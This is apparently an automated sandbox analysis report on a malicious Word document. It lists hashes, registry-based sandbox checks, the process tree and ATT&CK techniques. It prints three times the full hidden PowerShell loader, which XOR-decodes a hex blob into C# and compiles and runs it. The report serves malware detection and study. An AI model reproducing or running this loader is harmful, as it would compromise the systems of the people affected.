ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
144s
max time network
162s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-02-04_130619.doc
Size

314KB
MD5

4d27710e4a1152ddb7e8230f725aea31
SHA1

06ad9076085cfc97415284926c3c12aa5d758e1d
SHA256

2726b4c41af288b8403007f60f94473841742ff9e49690501b68e946c7f64913
SHA512

9928ccb1feb09b6603e4feef560f8cf13b8f882721befdf3da1f8292d80146c97caa577a095a316b89f1da1b70f1761bd9a30def9d32d3f497bb00e85c2c2016

Score

10^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
504	powershell.exe
652	powershell.exe
720	powershell.exe
504	powershell.exe
720	powershell.exe
652	powershell.exe
504	powershell.exe
652	powershell.exe
720	powershell.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe

Enumerates system info in registry 2 TTPs 15 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exeWINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe

Suspicious use of SetWindowsHookEx 23 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exe

pid	process
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
1552	EXCEL.EXE
1552	EXCEL.EXE
1552	EXCEL.EXE
1552	EXCEL.EXE
724	EXCEL.EXE
724	EXCEL.EXE
724	EXCEL.EXE
724	EXCEL.EXE
3756	excelcnv.exe
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE
3492	WINWORD.EXE

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	652	3960	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	504	1552	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	720	724	powershell.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.execsc.execsc.execsc.exe

description	pid	process	target process
PID 3960 wrote to memory of 652	3960	EXCEL.EXE	powershell.exe
PID 3960 wrote to memory of 652	3960	EXCEL.EXE	powershell.exe
PID 1552 wrote to memory of 504	1552	EXCEL.EXE	powershell.exe
PID 1552 wrote to memory of 504	1552	EXCEL.EXE	powershell.exe
PID 724 wrote to memory of 720	724	EXCEL.EXE	powershell.exe
PID 724 wrote to memory of 720	724	EXCEL.EXE	powershell.exe
PID 720 wrote to memory of 2240	720	powershell.exe	csc.exe
PID 720 wrote to memory of 2240	720	powershell.exe	csc.exe
PID 652 wrote to memory of 3064	652	powershell.exe	csc.exe
PID 652 wrote to memory of 3064	652	powershell.exe	csc.exe
PID 504 wrote to memory of 2460	504	powershell.exe	csc.exe
PID 504 wrote to memory of 2460	504	powershell.exe	csc.exe
PID 2240 wrote to memory of 1180	2240	csc.exe	cvtres.exe
PID 2240 wrote to memory of 1180	2240	csc.exe	cvtres.exe
PID 2460 wrote to memory of 1916	2460	csc.exe	cvtres.exe
PID 2460 wrote to memory of 1916	2460	csc.exe	cvtres.exe
PID 3064 wrote to memory of 1072	3064	csc.exe	cvtres.exe
PID 3064 wrote to memory of 1072	3064	csc.exe	cvtres.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 652 powershell.exe
Token: SeDebugPrivilege 504 powershell.exe
Token: SeDebugPrivilege 720 powershell.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3492 WINWORD.EXE
3492 WINWORD.EXE
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

40 652 powershell.exe

description	pid	process
Token: SeDebugPrivilege	652	powershell.exe
Token: SeDebugPrivilege	504	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe

flow	pid	process
40	652	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-04_130619.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3492

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:652

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\05x2bwpc\05x2bwpc.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42EB.tmp" "c:\Users\Admin\AppData\Local\Temp\05x2bwpc\CSC7040B52CE09E46BC98552C9B5DC84388.TMP"
4⤵
PID:1072

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:504

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x24vbpck\x24vbpck.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42EC.tmp" "c:\Users\Admin\AppData\Local\Temp\x24vbpck\CSCDC38B5397CE94F03AA3A929773FD6AF.TMP"
4⤵
PID:1916

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function kfcdec6 {param($qff4d38)$e41b4='ob2627';$paddd='';for ($i=0; $i -lt $qff4d38.length;$i+=2){$ff878=[convert]::ToByte($qff4d38.Substring($i,2),16);$paddd+=[char]($ff878 -bxor $e41b4[($i/2)%$e41b4.length]);}return $paddd;} $nfec9 = '1a115b5855173c1b4142575a5417415f5c504f314b454652024c60435c43060f57187b591b07405942640a10445f51521c5947455b590842614f41430a0f1c725b56080c5d45465e0c110943415e010512654b441b075f187b785417415f5c504f314b454652024c7c53460c62684243505b060112555e561c11125d060359560650496c2b0e5e7f5f470010461e105c0a105c535e045d401e735c431d1b62595b591b5f107157433f105d5573530b1057454115463f12464755030b511641430e165b551252171657445c17260c466646454f110a020b5157531a7f5c433f1640165155565a071a41431d0b5c5112470e0153011b0c34265e5a7b5a1f0d40421a1504074058575b5c50101a12720116404f6258060c46160f174d2e5d57567b06004057404e4d4b6f1642420d0e5b5512441b03465f51170a1a465340594f2b5c4262431d42485304550d4a4142405e010512410a565b061b0d6973030e7b5b42581d161a1459521d0c575a01054d4e12735c431d1b62595b591b5f10605b451b17535a6245001657554615463f12464755030b511641430e165b551252171657445c170d0d5d5a12460b5a50040a1f260c466646454f0a560706035a511e637b591b32464412590a560505040e4342475f5c434f1a500f56000a4e125947434f175b58461719010453501e5439765a5e7e02125d44461f4d2957445c5203510018565b03401e1677591b104b665d5e01160f146043032f5d40577a0a0f5d444b1543426153467b0e114673404500100f50535b1c071b6b12441b03465f51170a1a465340594f145d5f56170a0157000a03094a7b5846671b101259050e5a031e7f5c433f1640164a035e50561a5b591b42580304060a4b09464755030b511641430e165b55125e0116125100535a511a1f497e0116624240170753570554175242485304550d4a595051530a01041e10070a52540203020953510301075c5257141b1e540b541e5a060a51540b0f7e011662424019350740591b4c080d4659124d0c5a5401560f541f7b5846671b10124f5004565304020f4457560b500a06470a035301514309545556520c541a1400525f04060707515953070202525f01050606045a56070702565e52101f1b0c06041a4f5004565304020f0a260c46664645413857445d1e14055d425d1715010a50055357594f637b591b324644125b5606540e0f1f3a2b5c4262431d4b070d475e0116124303035d040f06095e094a1347560f0d500a1e4b555c5b0300061b035b56500a1b5f1a06061e581a16124303035d041b1f495000165d164854570405520a0c12204b42576c32424103060e5b5a540b49071751031a024f09041e064a0e5f1f097f5c433f1640165f065e5b0507060a220340455a56034c735a5e580c2a755a5d550e0e1a051b0c220340455a56034c7159424e471107020b0357041e061e5a5e530b01030343511b0d57540a540a02541f010745167b591b3246441a4e0d510b07040341365d7f5c4359561a1f190717520207501e430f03070b005e561e051b0c15010a5005535758126157552c0e5b535c434f165603570e5b5f5c534517380750755e5e0a0c461e1b0c1c16405f5c504f0757030a5252275c405b45000c5f535c434125574274580306574462561b0a1a735c4106105d585f5201161c6542520c0b535a7458030657441c761f125e5f51561b0b5d5876561b031b1d106b33080a5554050d00101d59510c065755041f4d56030605030e5701141b0c1b0607530b0341265d415c5b000356705b5b0a4a595051530a01041e100758530402040359520a070a035f57010600075e5351060402585750075107585200070b020a57050600065656050357035f57070607070a52000605020c57050751020c5600030215464e5753070f0a4b096640580c07414561430e10467f5c510042540f57520e5f5c5345173f105d5557441c3146574043260c54591a520a570a531b0c3f105d5557441c4c614253451b4a540f57520e4b094457431a105c16020c121247545e5e0c4241425343060112454645060c551659510c065755041f1c16405f5c504f01050056565b4b49454645060c55165155565a070b10580d5004040515541146445b590842485304550d5f6142405e01051c735f471b1b09505d45470b5c42125e5252095f0e5458545657061923075c51465f540b190b001e14004b4257171c5a060f540f5e5f71595c410a10461866582d1b46531a545854565706193c1750454645060c551e5b1b5d4b1e07041e541857005055445f1a555a561d4b1a450a0356040a0712694f01500f0a02344a5b19001e4f471255500e57571c7a575908165a6b1b0c1210574247450142485304550d594f4b'; $nfec92 = kfcdec6($nfec9); Add-Type -TypeDefinition $nfec92; [k44644f]::g2d53();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:720

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2n0s3ecr\2n0s3ecr.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42CB.tmp" "c:\Users\Admin\AppData\Local\Temp\2n0s3ecr\CSC7E49C5C48C6345B49E12E8C771807BF8.TMP"
4⤵
PID:1180

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\C1547492-D501-4FB6-84D4-DB6E591E3F37

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C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\FA0BF9EC-1B3E-427E-A286-BC1CF6884D58

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C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\05x2bwpc\05x2bwpc.dll

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C:\Users\Admin\AppData\Local\Temp\2n0s3ecr\2n0s3ecr.dll

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C:\Users\Admin\AppData\Local\Temp\RES42CB.tmp

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C:\Users\Admin\AppData\Local\Temp\RES42EB.tmp

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C:\Users\Admin\AppData\Local\Temp\RES42EC.tmp

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C:\Users\Admin\AppData\Local\Temp\x24vbpck\x24vbpck.dll

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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\??\c:\Users\Admin\AppData\Local\Temp\05x2bwpc\05x2bwpc.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\05x2bwpc\05x2bwpc.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\05x2bwpc\CSC7040B52CE09E46BC98552C9B5DC84388.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\2n0s3ecr\2n0s3ecr.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\2n0s3ecr\2n0s3ecr.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\2n0s3ecr\CSC7E49C5C48C6345B49E12E8C771807BF8.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\x24vbpck\CSCDC38B5397CE94F03AA3A929773FD6AF.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\x24vbpck\x24vbpck.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\x24vbpck\x24vbpck.cmdline

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memory/724-19-0x000001D354B60000-0x000001D354B61000-memory.dmp

Filesize
4KB

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